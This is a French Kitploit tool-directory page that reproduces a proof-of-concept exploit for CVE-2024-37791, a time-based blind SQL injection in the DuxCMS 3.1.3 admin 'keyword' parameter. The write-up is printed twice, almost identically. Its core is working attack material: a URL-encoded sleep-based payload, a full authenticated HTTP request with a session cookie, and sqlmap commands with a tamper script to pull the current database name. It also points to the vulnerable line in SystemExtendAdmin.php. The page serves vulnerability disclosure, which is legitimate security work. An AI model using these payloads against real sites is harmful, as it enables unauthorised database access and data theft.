Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-37791 — Exploit de preuve de concept pour une vulnérabilité d'injection SQL aveugle basée sur le temps dans DuxCMS3.1.3, ciblant le paramètre 'keyword' avec des requêtes authentifiées et l'intégration de sqlmap. | Kitploit
Outils/GitHubGitHub/czheisenberg/cve-2024-37791
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'Intrusion
GitHubczheisenberg/cve-2024-37791

CVE-2024-37791

Exploit de preuve de concept pour une vulnérabilité d'injection SQL aveugle basée sur le temps dans DuxCMS3.1.3, ciblant le paramètre 'keyword' avec des requêtes authentifiées et l'intégration de sqlmap.

Voir le dépôt
1il y a 2 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-37791

CVE-2024-37791

Adresse du projet : ****

Travail préparatoire :

Connectez-vous à l'interface d'administration - obtenez le cookie

URL de la vulnérabilité :

http://127.0.0.1:8093/s/article/Content/index?class_id=&keyword=

Paramètre de la vulnérabilité : keyword

payload : %27and(select*from(select+if(ascii(substr(database(),1,1))%3E97,sleep(1),0))a//union//select+1)=%27

Si l'injection réussit, le délai est supérieur à une seconde ; sinon, il n'y a aucun délai.

Vérification avec sqlmap :

PoC

Un cookie est requis.

root@kitploit:~
GET http://127.0.0.1:8093/s/article/Content/index?class_id=&keyword=%27and%28select%2Afrom%28select%2Bsleep%283%29%29a%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2B1%29%3D%27 HTTP/1.1

Host: 127.0.0.1:8093

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=jna2rl0d9ie3em6gb82s9odb3j

Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: none

Sec-Fetch-User: ?1

Priority: u=1

python2 sqlmap.py -r 1.txt -p keyword -technique=T --tamper=space2comment

python2 sqlmap.py -r 1.txt -p keyword -technique=T --tamper=space2comment --current-db

Le nom de la base de données actuellement utilisée a été obtenu avec succès. Cette vulnérabilité existe.

Code de la vulnérabilité :

La recherche à partir du paramètre d'injection : keyword permet de localiser le point d'appel.

app/system/admin/SystemExtendAdmin.php

Ligne : 42.

like est utilisé pour la correspondance floue sans filtrer $value, ce qui introduit la vulnérabilité dans la requête.

En saisissant : and(select*from(select sleep(3))a//union//select 1)=

Comme le montre la figure ci-dessus : le paramètre $value est obtenu à la ligne 29 via $pageParams = request();, puis à la ligne 32, $pageParams[$key] est décodé avec urldecode() pour obtenir notre requête SQL malveillante. Aucune mesure de défense n'est en place.

Le payload est donc directement concaténé.

Après exécution, la requête SQL complète est :

(A.title like '%and(select*from(select sleep(3))a//union//select 1)=%')


Injection SQL dans l'interface d'administration de DuxCMS3.1.3 (injection aveugle temporelle)

Travail préparatoire :

Connectez-vous à l'interface d'administration - obtenez le cookie.

URL de la vulnérabilité :

http://127.0.0.1:8093/s/article/Content/index?class_id=&keyword=

Paramètre de la vulnérabilité : keyword

payload : %27and(select*from(select+if(ascii(substr(database(),1,1))%3E97,sleep(1),0))a//union//select+1)=%27

Si l'injection réussit, le délai est supérieur à une seconde ; sinon, il n'y a aucun délai.

Vérification avec sqlmap :

PoC.

Un cookie est requis.

root@kitploit:~
GET http://127.0.0.1:8093/s/article/Content/index?class_id=&keyword=%27and%28select%2Afrom%28select%2Bsleep%283%29%29a%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2B1%29%3D%27 HTTP/1.1

Host: 127.0.0.1:8093

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=jna2rl0d9ie3em6gb82s9odb3j

Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: none

Sec-Fetch-User: ?1

Priority: u=1

python2 sqlmap.py -r 1.txt -p keyword -technique=T --tamper=space2comment

python2 sqlmap.py -r 1.txt -p keyword -technique=T --tamper=space2comment --current-db

Le nom de la base de données actuellement utilisée a été obtenu avec succès.

Cette vulnérabilité existe.

Code de la vulnérabilité :

La recherche à partir du paramètre d'injection : keyword permet de localiser le point d'appel.

App/system/admin/SystemExtendAdmin.php.

Ligne 42.

La requête présente une vulnérabilité car elle utilise like pour la correspondance floue et ne filtre pas $value.

En saisissant : and (select*from (select sleep (3)) a//union//select 1) =

Comme le montre la figure ci-dessus : le paramètre $value est obtenu à la ligne 29 via $pageParams = request();, puis à la ligne 32, $pageParams[$key] est décodé avec urldecode() pour obtenir notre requête SQL malveillante.

Aucune mesure de défense n'est en place.

Ainsi, le payload est directement concaténé.

Après exécution, la requête SQL complète est :

(A.title like'% and (select*from (select sleep (3)) a//union//select 1) =%')

Télécharger l’outil